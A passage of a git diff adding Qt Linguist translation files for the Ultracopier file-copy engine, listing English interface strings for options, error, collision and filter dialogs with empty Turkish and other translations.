+ <source>Keep the file date</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="74"/>
+ <source>Autostart the transfer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="81"/>
+ <location filename="../../copyEngineOptions.ui" line="101"/>
+ <source>Less performance if checked</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="104"/>
+ <source>Follow the strict order</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="130"/>
+ <source>Error and collision</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="136"/>
+ <source>When folder error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="146"/>
+ <source>When file error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="172"/>
+ <source>When file collision</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="232"/>
+ <source>When folder collision</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="263"/>
+ <source>Check if destination folder exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="270"/>
+ <source>Renaming rules</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="290"/>
+ <source>Delete partially transferred files</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="303"/>
+ <source>Rename the original destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="334"/>
+ <source>Control</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="340"/>
+ <source>Checksum</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="349"/>
+ <source>Only after error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="356"/>
+ <source>Ignore if impossible</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="373"/>
+ <source>Verify checksums</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="405"/>
+ <source>Performance</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="411"/>
+ <source>Parallel buffer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="418"/>
+ <location filename="../../copyEngineOptions.ui" line="431"/>
+ <location filename="../../copyEngineOptions.ui" line="444"/>
+ <location filename="../../copyEngineOptions.ui" line="481"/>
+ <location filename="../../copyEngineOptions.ui" line="550"/>
+ <source>KB</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="460"/>
+ <source>Block size</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="467"/>
+ <source>Sequential buffer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="474"/>
+ <source>Enable OS buffer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="497"/>
+ <source>OS buffer only if smaller than</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="504"/>
+ <source>Transfer algorithm</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="543"/>
+ <source>Parallelize if smaller than</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="573"/>
+ <source>Inode threads</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="580"/>
+ <location filename="../../copyEngineOptions.ui" line="590"/>
+ <source>More cpu, but better organisation on the disk</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="593"/>
+ <source>Order the list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="609"/>
+ <source>Misc</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="615"/>
+ <source>Check the disk space</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="625"/>
+ <source>Use this folder when destination is not set</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="637"/>
+ <source>Browse</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="659"/>
+ <source>Filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>fileErrorDialog</name>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="14"/>
+ <source>Error with file</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="20"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="59"/>
+ <source>Size</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="76"/>
+ <source>Modified</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="93"/>
+ <source>File name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="110"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="127"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="173"/>
+ <source>&amp;Always perform this action</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="193"/>
+ <source>Try in with elevated privileges</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="200"/>
+ <source>Put to bottom</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="207"/>
+ <source>Retry</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="214"/>
+ <source>&amp;Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="221"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>fileExistsDialog</name>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="14"/>
+ <source>The file exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="34"/>
+ <source>Source</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="50"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="82"/>
+ <location filename="../../fileExistsDialog.ui" line="170"/>
+ <source>Size</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="99"/>
+ <location filename="../../fileExistsDialog.ui" line="187"/>
+ <source>Modified</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="116"/>
+ <location filename="../../fileExistsDialog.ui" line="204"/>
+ <source>File name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="133"/>
+ <location filename="../../fileExistsDialog.ui" line="221"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="277"/>
+ <source>Suggest new &amp;name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="288"/>
+ <source>&amp;Always perform this action</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="346"/>
+ <location filename="../../fileExistsDialog.ui" line="349"/>
+ <source>Overwrite if modification date differs</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="308"/>
+ <source>&amp;Rename</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="315"/>
+ <source>&amp;Overwrite</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="325"/>
+ <source>&amp;Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="332"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="341"/>
+ <source>Overwrite if newer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="354"/>
+ <location filename="../../fileExistsDialog.ui" line="357"/>
+ <source>Overwrite if older</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>fileIsSameDialog</name>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="40"/>
+ <source>Size</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="110"/>
+ <source>Modified</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="70"/>
+ <source>File name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="14"/>
+ <source>The source and destination are same</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="90"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="159"/>
+ <source>Suggest new &amp;name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="170"/>
+ <source>&amp;Always perform this action</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="190"/>
+ <source>&amp;Rename</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="197"/>
+ <source>&amp;Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="204"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>folderExistsDialog</name>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="34"/>
+ <source>Source</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="50"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="14"/>
+ <source>The source and destination is identical</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="82"/>
+ <location filename="../../folderExistsDialog.ui" line="150"/>
+ <source>Modified</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="99"/>
+ <location filename="../../folderExistsDialog.ui" line="160"/>
+ <source>Folder name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="116"/>
+ <location filename="../../folderExistsDialog.ui" line="184"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="227"/>
+ <source>Suggest new &amp;name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="238"/>
+ <source>&amp;Always perform this action</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="245"/>
+ <source>&amp;Rename</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="252"/>
+ <source>Merge</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="259"/>
+ <source>Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="266"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins/CopyEngine/Ultracopier/Languages/tr/translation.ts b/plugins/CopyEngine/Ultracopier/Languages/tr/translation.ts
new file mode 100644
index 0000000..3362659
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/Languages/tr/translation.ts
@@ -0,0 +1,1289 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0">
+<context>
+ <name>AvancedQFile</name>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="26"/>
+ <location filename="../../AvancedQFile.cpp" line="57"/>
+ <location filename="../../AvancedQFile.cpp" line="88"/>
+ <source>Not supported on this platform</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="40"/>
+ <source>Last modified date is wrong</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="71"/>
+ <source>Last access date is wrong</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="121"/>
+ <source>Unknown error: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="187"/>
+ <source>Unknown error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="133"/>
+ <source>Path conversion error</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>CopyEngine</name>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="429"/>
+ <location filename="../../CopyEngine.cpp" line="451"/>
+ <source>The engine is forced to move, you can&apos;t copy with it</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="462"/>
+ <location filename="../../CopyEngine.cpp" line="484"/>
+ <source>The engine is forced to copy, you can&apos;t move with it</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="508"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="508"/>
+ <source>Use the actual destination &quot;%1&quot;?</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="717"/>
+ <source>The mode has been forced previously. This is an internal error, please report it</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1047"/>
+ <location filename="../../CopyEngine.cpp" line="1050"/>
+ <location filename="../../CopyEngine.cpp" line="1055"/>
+ <location filename="../../CopyEngine.cpp" line="1059"/>
+ <source>Ask</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1048"/>
+ <location filename="../../CopyEngine.cpp" line="1052"/>
+ <location filename="../../CopyEngine.cpp" line="1056"/>
+ <location filename="../../CopyEngine.cpp" line="1060"/>
+ <source>Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1051"/>
+ <source>Merge</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1053"/>
+ <location filename="../../CopyEngine.cpp" line="1065"/>
+ <source>Rename</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1057"/>
+ <source>Put at the end</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1061"/>
+ <source>Overwrite</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1062"/>
+ <source>Overwrite if different</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1063"/>
+ <source>Overwrite if newer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1064"/>
+ <source>Overwrite if older</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1067"/>
+ <source>Automatic</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1068"/>
+ <source>Sequential</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1069"/>
+ <source>Parallel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1170"/>
+ <source>Options error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1170"/>
+ <source>Options engine is not loaded. Unable to access the filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>CopyEngineFactory</name>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="412"/>
+ <location filename="../../CopyEngineFactory.cpp" line="415"/>
+ <location filename="../../CopyEngineFactory.cpp" line="420"/>
+ <location filename="../../CopyEngineFactory.cpp" line="424"/>
+ <source>Ask</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="413"/>
+ <location filename="../../CopyEngineFactory.cpp" line="417"/>
+ <location filename="../../CopyEngineFactory.cpp" line="421"/>
+ <location filename="../../CopyEngineFactory.cpp" line="425"/>
+ <source>Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="416"/>
+ <source>Merge</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="418"/>
+ <location filename="../../CopyEngineFactory.cpp" line="430"/>
+ <source>Rename</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="422"/>
+ <source>Put at the end</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="426"/>
+ <source>Overwrite</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="427"/>
+ <source>Overwrite if different</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="428"/>
+ <source>Overwrite if newer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="429"/>
+ <source>Overwrite if older</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="432"/>
+ <source>Automatic</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="433"/>
+ <source>Sequential</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="434"/>
+ <source>Parallel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="485"/>
+ <location filename="../../CopyEngineFactory.cpp" line="524"/>
+ <source>Options error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="485"/>
+ <source>Options engine is not loaded. Unable to access the filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="524"/>
+ <source>Options engine is not loaded, can&apos;t access to the filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>DiskSpace</name>
+ <message>
+ <location filename="../../DiskSpace.ui" line="14"/>
+ <source>Disk space</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.ui" line="24"/>
+ <source>You need more space on this drive to finish this transfer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.ui" line="49"/>
+ <source>Continue</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.ui" line="56"/>
+ <source>Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.cpp" line="23"/>
+ <source>Drives %1 have %2 available but need %3</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FileErrorDialog</name>
+ <message>
+ <location filename="../../FileErrorDialog.cpp" line="54"/>
+ <source>Error on folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileErrorDialog.cpp" line="57"/>
+ <source>Folder name</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FileExistsDialog</name>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="131"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="141"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="226"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="226"/>
+ <source>Try rename with using special characters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FileIsSameDialog</name>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="105"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="115"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="182"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="182"/>
+ <source>Try rename with using special characters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FilterRules</name>
+ <message>
+ <location filename="../../FilterRules.ui" line="33"/>
+ <source>Search:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="43"/>
+ <source>Search type:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="51"/>
+ <source>Raw text</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="56"/>
+ <source>Simplified regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="61"/>
+ <source>Perl&apos;s regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="69"/>
+ <source>Apply on:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="77"/>
+ <source>File</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="82"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="87"/>
+ <source>File and folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="125"/>
+ <source>The test string matches with the regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="102"/>
+ <source>Checking</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="115"/>
+ <source>Test string:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="17"/>
+ <source>Filters dialog</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="95"/>
+ <source>Whole string must match</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="108"/>
+ <source>The regex is valid</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>Filters</name>
+ <message>
+ <location filename="../../Filters.ui" line="14"/>
+ <source>Filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.ui" line="30"/>
+ <source>Exclusion filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.ui" line="93"/>
+ <source>Inclusion filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.ui" line="105"/>
+ <source>None = Include all</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="92"/>
+ <location filename="../../Filters.cpp" line="130"/>
+ <source>Raw text</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="95"/>
+ <location filename="../../Filters.cpp" line="133"/>
+ <source>Simplified regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="98"/>
+ <location filename="../../Filters.cpp" line="136"/>
+ <source>Perl&apos;s regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="106"/>
+ <location filename="../../Filters.cpp" line="144"/>
+ <source>Only on file</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="109"/>
+ <location filename="../../Filters.cpp" line="147"/>
+ <source>Only on folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="115"/>
+ <location filename="../../Filters.cpp" line="153"/>
+ <location filename="../../Filters.cpp" line="215"/>
+ <location filename="../../Filters.cpp" line="254"/>
+ <source>Full match</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FolderExistsDialog</name>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="51"/>
+ <source>Folder already exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="116"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="126"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="187"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="187"/>
+ <source>Try rename with using special characters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ListThread</name>
+ <message>
+ <location filename="../../ListThread.cpp" line="1447"/>
+ <location filename="../../ListThread.cpp" line="2369"/>
+ <source>Unable do to move or copy item into wrong forced mode: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1454"/>
+ <location filename="../../ListThread.cpp" line="2376"/>
+ <source>Unable to save the transfer list: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1470"/>
+ <source>Problem reading file, or file-size is 0</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1477"/>
+ <source>Wrong header: &quot;%1&quot;</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1486"/>
+ <source>The transfer list is in mixed mode, but this instance is not in this mode</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1495"/>
+ <source>The transfer list is in copy mode, but this instance is not in this mode</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1501"/>
+ <source>The transfer list is in move mode, but this instance is not in this mode</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1557"/>
+ <source>Some errors have been found during the line parsing</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1565"/>
+ <source>Unable to open the transfer list: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>MkPath</name>
+ <message>
+ <location filename="../../MkPath.cpp" line="142"/>
+ <source>Unable to create the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="155"/>
+ <source>The source folder don&apos;t exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
